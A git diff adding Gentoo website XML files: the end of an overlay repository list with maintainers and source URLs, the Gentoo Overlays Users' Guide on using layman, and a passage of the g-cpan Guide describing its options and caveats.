+    <feed>http://overlays.gentoo.org/dev/trapni/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>trauma</name>
+    <description>This overlay has a binary, current version of eclipse with
+    many plugins and some small new ebuilds from trauma and
+    bugzilla.g.o.</description>
+    <homepage>http://svn.digital-trauma.de/gentoo/</homepage>
+    <owner>
+      <email>gentoo-overlay@digital-trauma.de</email>
+    </owner>
+    <source type="svn">http://svn.digital-trauma.de/gentoo/trunk/</source>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>tryton</name>
+    <description>Tryton</description>
+    <homepage>http://www.tryton.org/</homepage>
+    <owner>
+      <email>cedric.krier@b2ck.com</email>
+    </owner>
+    <source type="mercurial">http://www.tryton.org/hg/tryton-overlay/</source>
+    <feed>http://hg.tryton.org/hgwebdir.cgi/tryton-overlay/atom-log</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>turbogears2</name>
+    <description lang="en">TurboGears 2.x-related ebuilds</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=proj/turbogears2.git;a=summary</homepage>
+    <owner type="project">
+      <email>sping@gentoo.org</email>
+      <name>Sebastian Pipping</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/proj/turbogears2.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/proj/turbogears2.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/proj/turbogears2.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/turbogears2.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/turbogears2.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>ub0rlay</name>
+    <description>This is an ub0r overlay!</description>
+    <homepage>http://repo.or.cz/w/ub0rlay.git</homepage>
+    <owner>
+      <email>f@ub0r.de</email>
+    </owner>
+    <source type="git">git://repo.or.cz/ub0rlay.git</source>
+    <feed>http://repo.or.cz/w/ub0rlay.git?a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>unknown-horizons</name>
+    <description lang="en">Overlay of the game Unknown Horizons (http://www.unknown-horizons.org/)</description>
+    <homepage>http://github.com/unknown-horizons/Portage-Overlay-for-Unknown-Horizons</homepage>
+    <owner type="person">
+      <email>b.mallinger@gmx.at</email>
+      <name>Bernhard Mallinger</name>
+    </owner>
+    <source type="git">git://github.com/unknown-horizons/Portage-Overlay-for-Unknown-Horizons.git</source>
+    <source type="git">http://github.com/unknown-horizons/Portage-Overlay-for-Unknown-Horizons.git</source>
+    <feed>http://github.com/unknown-horizons/Portage-Overlay-for-Unknown-Horizons/commits/master.atom</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>vdr-devel</name>
+    <description>Overlay for VDR, that contains ebuilds for development version
+    of VDR, and specific plugins for that version.</description>
+    <homepage>http://overlays.gentoo.org/proj/vdr</homepage>
+    <owner type="project">
+      <email>vdr@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/proj/vdr/vdr-devel</source>
+    <feed>http://overlays.gentoo.org/proj/vdr/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>vdr-testing</name>
+    <description>Development overlay for VDR, testing branch.</description>
+    <homepage>http://overlays.gentoo.org/proj/vdr</homepage>
+    <owner type="project">
+      <email>vdr@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/proj/vdr/testing</source>
+    <feed>http://overlays.gentoo.org/proj/vdr/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>vdr-xine</name>
+    <description>Overlay for VDR, that contains ebuilds for the vdr-xine output
+    plugin, and the needed patched xine-lib</description>
+    <homepage>http://overlays.gentoo.org/proj/vdr</homepage>
+    <owner type="project">
+      <email>vdr@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/proj/vdr/vdr-xine-overlay</source>
+    <feed>http://overlays.gentoo.org/proj/vdr/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>verlihub</name>
+    <description>Verlihub is a Direct Connect protocol server runs on Linux OS
+    written in C++; Many features are available: MySQL database, very low use
+    of CPU, RAM and Bandwidth, deflood integrated protection,
+    plugins</description>
+    <homepage>http://www.verlihub-project.org</homepage>
+    <owner>
+      <email>netcelli@verlihub-project.org</email>
+    </owner>
+    <source type="git">git://verlihub.git.sourceforge.net/gitroot/verlihub/overlay</source>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>v-fox</name>
+    <description lang="en">Public Gentoo overlay for games, emulators and more of nifty stuff</description>
+    <homepage>http://github.com/v-fox</homepage>
+    <owner type="person">
+      <email>virtuousfox@gmail.com</email>
+      <name>Sergey Kondakov</name>
+    </owner>
+    <source type="git">git://github.com/v-fox/gentoo_overlay.git</source>
+    <source type="git">http://github.com/v-fox/gentoo_overlay.git</source>
+    <feed>http://github.com/v-fox/gentoo_overlay/commits/master.atom</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>vmware</name>
+    <description>Testing ground for vmware-server and vmware-server-console
+    ebuilds until they can eventually be committed into portage.</description>
+    <homepage>http://bugs.gentoo.org/show_bug.cgi?id=122500</homepage>
+    <owner type="project">
+      <email>vmware@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/proj/vmware/trunk</source>
+    <feed>http://overlays.gentoo.org/proj/vmware/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>voip</name>
+    <description>Voice over IP related ebuilds.</description>
+    <homepage>http://svn.netdomination.org/gentoo-voip</homepage>
+    <owner type="project">
+      <email>voip@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/proj/voip/trunk</source>
+    <feed>http://overlays.gentoo.org/proj/voip/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>voyageur</name>
+    <description>Voyageur's random ebuilds stuff</description>
+    <homepage>
+    http://cafarelli.fr/websvn/listing.php?repname=voyageur-overlay</homepage>
+    <owner>
+      <email>voyageur@gentoo.org</email>
+    </owner>
+    <source type="svn">https://cafarelli.fr/svn/voyageur-overlay</source>
+    <feed>http://cafarelli.fr/websvn/rss.php?repname=voyageur-overlay&amp;path=&amp;isdir=1</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>vps</name>
+    <description>Gentoo VPS project overlay (experimental
+    ebuilds)</description>
+    <homepage>http://overlays.gentoo.org/proj/vps</homepage>
+    <owner type="project">
+      <email>vserver-devs@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/proj/vps</source>
+    <feed>http://overlays.gentoo.org/proj/vps/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>wacfg</name>
+    <description>Overlay for WaCfg - webapp-configs replacement.</description>
+    <homepage>http://wacfg.noova.de</homepage>
+    <owner type="person">
+      <email>nutz@noova.de</email>
+    </owner>
+    <source type="git">git://github.com/nutztherookie/wacfg-overlay.git</source>
+    <feed>http://github.com/nutztherookie/wacfg-overlay/commits/master.atom</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>webapps-experimental</name>
+    <description>This is the home of Gentoo's wider collection of ebuilds for
+    web-based applications. This is where we collect all the ebuilds submitted
+    to Bugzilla by our users, and make them available in an easy-to-use overlay
+    for wider testing.</description>
+    <homepage>http://overlays.gentoo.org</homepage>
+    <owner type="project">
+      <email>web-apps@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/proj/webapps/experimental</source>
+    <feed>http://overlays.gentoo.org/proj/webapps/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>wirelay</name>
+    <description>wired's testing grounds and bleeding edge
+    ebuilds</description>
+    <homepage>http://dev.gentoo.org/~wired/</homepage>
+    <owner>
+      <email>wired@gentoo.org</email>
+    </owner>
+    <source type="git">git://github.com/wired/wirelay.git</source>
+    <feed>http://github.com/feeds/wired/commits/wirelay/master</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>wish</name>
+    <description lang="en">Experimental version bumps and fixes</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=user/wish.git;a=summary</homepage>
+    <owner type="person">
+      <email>iskren.s@gmail.com</email>
+      <name>Iskren Slavov</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/user/wish.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/user/wish.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/user/wish.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/wish.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/wish.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>wolf31o2</name>
+    <description>Wolf31o2's project ebuilds</description>
+    <homepage>http://www.wolf31o2.org</homepage>
+    <owner>
+      <email>wolf31o2@wolf31o2.org</email>
+    </owner>
+    <source type="git">git://git.wolf31o2.org/overlays/wolf31o2.git</source>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>wrobel</name>
+    <description>A collection of stable ebuilds from Gunnar Wrobel
+    [wrobel@gentoo.org].</description>
+    <homepage>http://overlays.gentoo.org</homepage>
+    <owner>
+      <email>wrobel@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/dev/wrobel/stable</source>
+    <feed>http://overlays.gentoo.org/dev/wrobel/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>wschlich</name>
+    <description>A collection of stable ebuilds from Wolfram Schlich
+    [wschlich@gentoo.org].</description>
+    <homepage>http://overlays.gentoo.org</homepage>
+    <owner>
+      <email>wschlich@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/dev/wschlich/stable</source>
+    <feed>http://overlays.gentoo.org/dev/wschlich/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>wschlich-testing</name>
+    <description>A collection of testing ebuilds from Wolfram Schlich
+    [wschlich@gentoo.org].</description>
+    <homepage>http://overlays.gentoo.org</homepage>
+    <owner>
+      <email>wschlich@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/dev/wschlich/testing</source>
+    <feed>http://overlays.gentoo.org/dev/wschlich/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>x11</name>
+    <description>Gentoo X11 team overlay</description>
+    <homepage>http://www.gentoo.org/proj/en/desktop/x/x11/</homepage>
+    <owner>
+      <email>x11@gentoo.org</email>
+      <name>Donnie Berkholz</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/proj/x11</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/proj/x11.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/proj/x11.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/x11.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/x11.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>xemacs</name>
+    <description>Provide XEmacs related ebuilds which are a bit experimental or
+    work-in-progress. Don't rely on them, but don't hesitate to file bugs or
+    write emails.</description>
+    <homepage>http://overlays.gentoo.org/proj/emacs/</homepage>
+    <owner>
+      <email>xemacs@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/proj/emacs/xemacs-overlay</source>
+    <feed>http://overlays.gentoo.org/proj/emacs/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>xen</name>
+    <description>Experimental ebuilds for Xen.</description>
+    <homepage>http://overlays.gentoo.org/proj/xen</homepage>
+    <owner type="project">
+      <email>xen@gentoo.org</email>
+    </owner>
+    <source type="svn">svn://overlays.gentoo.org/proj/xen/overlay</source>
+    <feed>http://overlays.gentoo.org/proj/xen/timeline</feed>
+  </repo>
+  <repo quality="experimental" status="official">
+    <name>xfce-dev</name>
+    <description>Experimental ebuilds for the Xfce4 Desktop
+    Environment</description>
+    <homepage>http://overlays.gentoo.org/proj/xfce/wiki</homepage>
+    <owner type="project">
+      <email>xfce@gentoo.org</email>
+      <name>XFCE team</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/proj/xfce.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/proj/xfce.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/proj/xfce.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/xfce.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=proj/xfce.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>xgr</name>
+    <description>Ebuilds of misc packages which are not present in the Gentoo tree</description>
+    <homepage>http://github.com/dgoncharov/xgr</homepage>
+    <owner>
+      <email>dgoncharov@users.sf.net</email>
+      <name>Dmitry Goncharov</name>
+    </owner>
+    <source type="git">git://github.com/dgoncharov/xgr.git</source>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>xhub</name>
+    <description lang="en">xhub's overlay</description>
+    <homepage>http://git.overlays.gentoo.org/gitweb/?p=user/xhub.git;a=summary</homepage>
+    <owner type="person">
+      <email>olivier.huber@crans.org</email>
+      <name>Olivier Huber</name>
+    </owner>
+    <source type="git">git://git.overlays.gentoo.org/user/xhub.git</source>
+    <source type="git">http://git.overlays.gentoo.org/gitroot/user/xhub.git</source>
+    <source type="git">git+ssh://git@git.overlays.gentoo.org/user/xhub.git</source>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/xhub.git;a=atom</feed>
+    <feed>http://git.overlays.gentoo.org/gitweb/?p=user/xhub.git;a=rss</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>xmms-zombie</name>
+    <description>Overlay with XMMS-1 related zombiebuilds</description>
+    <homepage>http://git.goodpoint.de/?p=overlay-xmms-zombie.git;a=summary</homepage>
+    <owner>
+      <email>sebastian@pipping.org</email>
+    </owner>
+    <source type="git">git://git.goodpoint.de/overlay-xmms-zombie.git</source>
+    <feed>http://git.goodpoint.de/?p=overlay-xmms-zombie.git;a=atom</feed>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>xwing</name>
+    <description>This overlay contains some experimental stuff, such as
+    turboprint printers driver (bug #61311), intel-536ep driver for lastest 2.6
+    kernels (bug #127464), lastest grisbi version (proxy maintainer) before
+    it's portage integration and so on.</description>
+    <homepage>http://gentoo.xwing.info</homepage>
+    <owner>
+      <email>casta@xwing.info</email>
+    </owner>
+    <source type="rsync">rsync://gentoo.xwing.info/xwing-overlay</source>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>yporti</name>
+    <description>Bruno Yporti's Gentoo overlay for ~amd64 and ~x86</description>
+    <homepage>http://gitorious.org/yporti/overlay</homepage>
+    <owner>
+      <email>bruno@yporti.com</email>
+      <name>Bruno Tsubouchi Yporti</name>
+    </owner>
+    <source type="git">git://gitorious.org/yporti/overlay.git</source>
+    <source type="git">http://git.gitorious.org/yporti/overlay.git</source>
+  </repo>
+  <repo quality="experimental" status="unofficial">
+    <name>zugaina</name>
+    <description>collection of ebuilds by ycarus</description>
+    <homepage>http://gentoo.zugaina.org/</homepage>
+    <owner>
+      <email>ycarus@zugaina.org</email>
+    </owner>
+    <source type="rsync">rsync://gentoo.zugaina.org/zugaina-portage</source>
+  </repo>
+</repositories>
diff --git a/xml/htdocs/proj/en/overlays/userguide.xml b/xml/htdocs/proj/en/overlays/userguide.xml
new file mode 100644
index 00000000..68127968
--- /dev/null
+++ b/xml/htdocs/proj/en/overlays/userguide.xml
@@ -0,0 +1,342 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/overlays/userguide.xml,v 1.9 2010/07/13 21:52:27 nightmorph Exp $ -->
+
+<guide>
+<title>Gentoo Overlays: Users' Guide</title>
+
+<author title="Author">
+  <mail link="stuart"/>
+</author>
+<author title="Author">
+  <mail link="jokey"/>
+</author>
+<author title="Editor">
+  <mail link="nightmorph"/>
+</author>
+
+<abstract>
+This guide helps users understand how to use the Gentoo Overlays service.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.2</version>
+<date>2010-07-13</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>Audience</title>
+<body>
+
+<p>
+This document has been written for all users of Gentoo. If you are a Gentoo
+developer or Gentoo staff member, and you want to be able to manage your own
+overlay, please see the <uri link="/proj/en/overlays/devguide.xml">Developers'
+Guide</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>What Are Overlays?</title>
+<body>
+
+<p>
+"Overlays" are package trees for Portage. They contain additional ebuilds for
+Gentoo. They are maintained by Gentoo developers and projects but distributed
+separately from the main Portage tree.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Why Use Overlays?</title>
+<body>
+
+<p>
+People create overlays for all sorts of reasons.  Here are a few of the main
+ones:
+</p>
+
+<ul>
+  <li>
+    If you modify an ebuild in <path>/usr/portage</path>, your change will be
+    lost the next time you <c>emerge --sync</c>. But, if you put your modified
+    ebuild into an overlay, your change is safe from <c>emerge --sync</c>.
+  </li>
+  <li>
+    Because overlays are not the main Gentoo Portage package tree, they're a
+    great place to develop and test an ebuild without fear of breaking the main
+    Gentoo Portage package tree.
+  </li>
+  <li>
+    Not every ebuild belongs in the Gentoo Portage package tree. An overlay is
+    a great place to store an ebuild until it is ready to go into the Gentoo
+    Portage package tree.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>What is the Gentoo Overlays Project?</title>
+<body>
+
+<p>
+Gentoo Overlays provide social workspaces to allow Gentoo projects, developers
+and users to collaborate together on tomorrow's Gentoo packages. We do this by
+hosting overlays for Gentoo projects, developers, and users.
+</p>
+
+</body>
+</section>
+<section>
+<title>Are All Official Overlays Hosted On overlays.gentoo.org?</title>
+<body>
+
+<p>
+No. Gentoo developers are free to put their overlay wherever suits them best;
+they don't have to use overlays.gentoo.org if they don't want to.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Getting Started With Overlays</title>
+<section>
+<body>
+
+<p>
+Use <c>layman</c> to easily install and update overlays over time.
+</p>
+
+</body>
+</section>
+<section>
+<title>Installing Layman</title>
+<body>
+
+<p>
+To install <c>layman</c>, follow these steps:
+</p>
+
+<pre caption="Installing layman">
+# <i>emerge layman</i>
+</pre>
+
+<pre caption="Telling Portage about layman-fetched repositories">
+<comment>(for layman 1.1)</comment>
+# <i>echo "source /usr/portage/local/layman/make.conf" >> /etc/make.conf</i>
+
+<comment>(for layman 1.2)</comment>
+# <i>echo "source /usr/local/portage/layman/make.conf" >> /etc/make.conf</i>
+
+<comment>(for layman 1.3)</comment>
+# <i>echo "source /var/lib/layman/make.conf" >> /etc/make.conf</i>
+</pre>
+
+<note>
+Layman will create <path>/usr/local/portage/layman/make.conf</path> once you add
+your first overlay. But if you do not plan to install an overlay immediately you
+should ensure that this file actually exists and contains the empty variable
+<c>PORTDIR_OVERLAY</c>. Otherwise Portage will complain. You can run <c>echo
+PORTDIR_OVERLAY=\"\" > /usr/portage/local/layman/make.conf</c> in order to have
+the file created correctly.
+</note>
+
+</body>
+</section>
+<section>
+<title>Listing The Available Overlays</title>
+<body>
+
+<p>
+To see the list of overlays available, run:
+</p>
+
+<pre caption="Listing the available overlays">
+# <i>layman -L</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Installing An Overlay</title>
+<body>
+
+<p>
+To install an overlay on your computer, run:
+</p>
+
+<pre caption="Adding an overlay">
+# <i>layman -a &lt;overlay-name&gt;</i>
+</pre>
+
+<p>
+For example, to install <uri link="http://overlays.gentoo.org/proj/php">the PHP
+overlay</uri>, run:
+</p>
+
+<pre caption="Adding the PHP overlay">
+# <i>layman -a php</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Installing Packages From An Overlay</title>
+<body>
+
+<p>
+After installing an overlay, you can install packages from it by running:
+</p>
+
+<pre caption="Installing a package from an overlay">
+# <i>emerge -av &lt;category&gt;/&lt;package&gt;</i>
+</pre>
+
+<p>
+Portage automatically searches your main Portage tree (in
+<path>/usr/portage</path>) and all of the overlays that you've installed, and
+picks the latest version of the package that it can find.
+</p>
+
+<p>
+If Portage isn't picking up the package from the overlay, that's normally
+because the package is marked ~arch, where "arch" is the architecture of your
+computer. You'll need to keyword the package as explained in the <uri
+link="/doc/en/handbook/">Portage Handbook</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Updating An Overlay</title>
+<body>
+
+<p>
+To keep your installed overlays up to date, run:
+</p>
+
+<pre caption="Updating all installed overlays">
+# <i>layman -S</i>
+</pre>
+
+<impo>
+Please don't run this more than once a day, or you'll put too much strain on
+Gentoo's infrastructure.
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>How To Get More Involved</title>
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+All Gentoo developers were users of Gentoo before they became developers and
+still are users. Our users aren't just the reason Gentoo exists today; they're
+our future volunteers too.
+</p>
+
+<p>
+If you start contributing to a project, we'll give you write access to the
+project's overlay, and we'll provide mentors to help you contribute.
+Eventually, if we like what you do and the way you do it, we'll invite you to go
+the whole hog and become a full Gentoo developer.
+</p>
+
+</body>
+</section>
+<section>
+<title>How To Get Started</title>
+<body>
+
+<p>
+If you want to contribute to an overlay, the best approach is to build a good
+working relationship with the Gentoo developers who are responsible for the
+overlay. You can find out who is responsible for each overlay by going to <uri
+link="http://overlays.gentoo.org">overlays.gentoo.org's homepage</uri>, and
+clicking on the link for the overlay in question.
+</p>
+
+<p>
+Different developers prefer to be contacted in different ways. Some hang out on
+IRC, and may have their own channels for their projects. Examples of these
+include the PHP project (#gentoo-php), and the Webapps project (#gentoo-web).
+Others prefer to be contacted by email only. The only way you'll find out is to
+try and make contact, and take it from there. Commonly people in #gentoo-bugs on
+freenode IRC know where to find the people in question.
+</p>
+
+</body>
+</section>
+<section>
+<title>Working With Subversion</title>
+<body>
+
+<p>
+<uri link="http://subversion.apache.org">Subversion</uri> is one version control
+software we use to manage the contents of our overlays. If you have never used
+Subversion before, the Subversion book is an excellent way to learn Subversion.
+You can buy it in dead-tree format if you prefer or read it online for free.
+</p>
+
+</body>
+</section>
+<section>
+<title>Working With Git</title>
+<body>
+
+<p>
+Git is another version control software we use to manage the contents of our
+overlays. To get in touch with it, see the tutorial provided on the <uri
+link="http://www.git-scm.com">homepage</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Further Information</title>
+<body>
+
+<p>
+The Gentoo project (or developer) you're working with should be able to provide
+you with any further help and assistance that you need.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Frequently Asked Questions</title>
+<section>
+<body>
+
+<p>
+<b>Q:</b> Do you host overlays for users?
+</p>
+
+<p>
+<b>A:</b> Yes, we do. Please see <uri
+link="http://blog.hartwork.org/?p=843">this post</uri> for instructions on how
+to host your overlay on Gentoo infrastructure.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/perl/g-cpan.xml b/xml/htdocs/proj/en/perl/g-cpan.xml
new file mode 100644
index 00000000..a0f7d5c1
--- /dev/null
+++ b/xml/htdocs/proj/en/perl/g-cpan.xml
@@ -0,0 +1,252 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/perl/g-cpan.xml,v 1.1 2006/07/21 16:34:25 mcummings Exp $ -->
+
+<!-- Do Not Translate !! -->
+<guide link="/proj/en/perl/g-cpan.xml">
+<title>g-cpan Guide</title>
+
+<author title="Author">
+  <mail link="mcummings@gentoo.org">Michael Cummings</mail>
+</author>
+
+<abstract>
+This document describes the functions of g-cpan
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2006-07-21</date>
+
+<chapter>
+<title>Intro</title>
+<section>
+<body>
+
+<p>
+<c>g-cpan</c> is a tool that generates and installs perl modules and bundles
+from CPAN "on-the-fly." It was originally proposed on the gentoo-user mailing
+list and filed as bug <uri link="http://bugs.gentoo.org/3450">3450</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Usage</title>
+<section>
+<body>
+
+<p>
+See the table below for possible options to pass to <c>g-cpan</c>.
+</p>
+
+<pre caption="g-cpan Arguments">
+<comment>g-cpan needs at least one parameter from the list below. </comment>
+# g-cpan &lt;OPTIONS&gt; (PORTAGE OPTIONS)
+</pre>
+
+<table>
+  <tr>
+    <th>Option</th>
+    <th>Description</th>
+  </tr>
+  <tr>
+    <ti>-g,--generate</ti>
+    <ti>Generate ebuilds and drop them in the overlay, but never call portage.
+        Useful for generating a tree of ebuilds without having permissions to
+        portage. Write permission to the defined DISTFILES directory will
+        still be needed.</ti>
+  </tr>
+  <tr>
+    <ti>-i,--install</ti>
+    <ti>Install the (list of) modules provided</ti>
+  </tr>
+  <tr>
+    <ti>-l,--list</ti>
+    <ti>List ebuilds that have been generated by g-cpan and reside in your overlay.</ti>
+  </tr>
+  <tr>
+    <ti>-L,--log</ti>
+    <ti>Log all output to <path>/var/log/g-cpan/g-cpan.log</path> and
+        <path>g-cpan.err</path></ti>
+  </tr>
+  <tr>
+    <ti>-s,--search</ti>
+    <ti>Search CPAN for the provided module.</ti>
+  </tr>
+  <tr>
+    <ti>--cpan_reload</ti>
+    <ti>Reload CPAN's index online</ti>
+  </tr>
+  <tr>
+    <ti>-u,--upgrade</ti>
+    <ti>Attempt to upgrade any ebuilds generated by g-cpan to newer versions. This option will create new ebuilds for those that exist in your overlay already. If a module name is given, it will attempt to only upgrade the requested module. If no arguments are given, all modules in your g-cpan overlay will be checked.</ti>
+  </tr>
+  <tr>
+    <ti>-v,--verbose</ti>
+    <ti>Enable verbose mode for more feedback on the step by step processes that g-cpan is running</ti>
+  </tr>
+</table>
+
+<pre caption="g-cpan Portage Arguments">
+<comment>The following portage arguments can be passed to g-cpan. Please read
+    the portage documentation for more information on how they work. The
+    arguments are optional only.</comment>
+</pre>
+<table>
+  <tr>
+    <th>Option</th>
+    <th>Description</th>
+  </tr>
+  <tr>
+    <ti>-a,--ask</ti>
+    <ti>Pass the "ask" argument to portage. This will cause portage to prompt
+        you to confirm your installation prior to issuing an emerge.</ti>
+  </tr>
+  <tr>
+      <ti>-b,--buildpkg</ti>
+      <ti>Tells  emerge to build binary packages for all ebuilds processed in
+          addition to actually merging the packages.</ti>
+  </tr>
+  <tr>
+      <ti>-B,--buildpkgonly</ti>
+      <ti>Creates  binary packages for all ebuilds processed without actually
+          merging the packages.</ti>
+  </tr>
+  <tr>
+      <ti>-p,--pretend</ti>
+      <ti>Create ebuilds as needed for the (list of) modules provided, but
+          don't perform the actual emerge.</ti>
+  </tr>
+</table>
+
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+    <title>CPAN Configuration</title>
+    <section>
+        <body>
+            <p>When you run g-cpan, it will check for two configuration files.
+                If you are root, it will check for the presense of an already
+                configured CPAN under your perl install path. If CPAN is not
+                configured, or you are not root, g-cpan will create a generic
+                configuration for CPAN in <path>~/.cpan/CPAN/</path> called
+                <c>MyConfig.pm</c>.
+                You can modify this file as needed at any time.</p>
+            <note>If you are upgrading to g-cpan-0.14 (or greater) from a
+                previoous version, the MyConfig.pm that was generated in the
+                old g-cpan's contained some mistakes. You may wish to save a
+                backup of this file and let g-cpan regenerate it.</note>
+            <p>The CPAN configuration file is used for interacting with CPAN,
+                determining what modules are available, what modules are
+                needed, and performing all basic CPAN functions.</p>
+            <p>Versions of g-cpan prior to 0.14 performed all of the CPAN
+                related work in <path>~/.cpan</path>. As of 0.14, the
+                downloading and exploration of the CPAN module for dependency
+                information is stored in <path>/var/tmp/g-cpan</path>. This
+                directory can be directly modified in the appropriate
+                <c>MyConfig.pm</c></p>
+        </body>
+    </section>
+</chapter>
+
+<chapter>
+    <title>g-cpan and Overlays</title>
+    <section>
+        <body>
+            <p>g-cpan is overlay "friendly." g-cpan will scan both the
+                overlays provided in your make.conf as well as any you have
+                set via environment variables, to help determine its course of
+                action. If you have  defined overlays, g-cpan will use the
+                first overlay in your list that the user running it can write
+                to. Any ebuilds generated by g-cpan will be stored in this
+                overlay for future use (such as upgrading).</p>
+            <p>If no overlays are defined, or the user operating g-cpan cannot
+                write to an overlay, then anything generated will be written
+                to a temporary space and wiped on exit. Without an overlay to 
+                write to, certain functions will not be available, such as upgrading.
+            </p>
+        </body>
+    </section>
+</chapter>
+<chapter>
+    <title>Caveats</title>
+    <section>
+        <body>
+            <ul>
+                <li>
+                    g-cpan relies on your <c>ACCEPT_KEYWORDS</c> to generate ebuilds that
+                    your system will install. If you haven't set your
+                    <c>ACCEPT_KEYWORDS</c> in <path>/etc/make.conf</path>, it will
+                    default to the complete list of supported architectures when
+                    generating an ebuild. At this time, however, g-cpan cannot
+                    check the <c>KEYWORDS</c> for the ebuilds in portage that your
+                    requested module must depend on. It is therefore possible to
+                    generate ebuilds that you cannot emerge because the depending
+                    modules are not keyworded or unmasked for your architecture.
+                </li>
+                <li>g-cpan has no way of handling truly interactive module
+                    installs. In the regular portage tree, that is something
+                    we work around with patches and sed statements. g-cpan
+                    does not have this luxury and may hang on an interactive
+                    module install.
+                </li>
+                <li>
+                    g-cpan isn't going to know about any special environment
+                    variables or library paths that may be necessary to
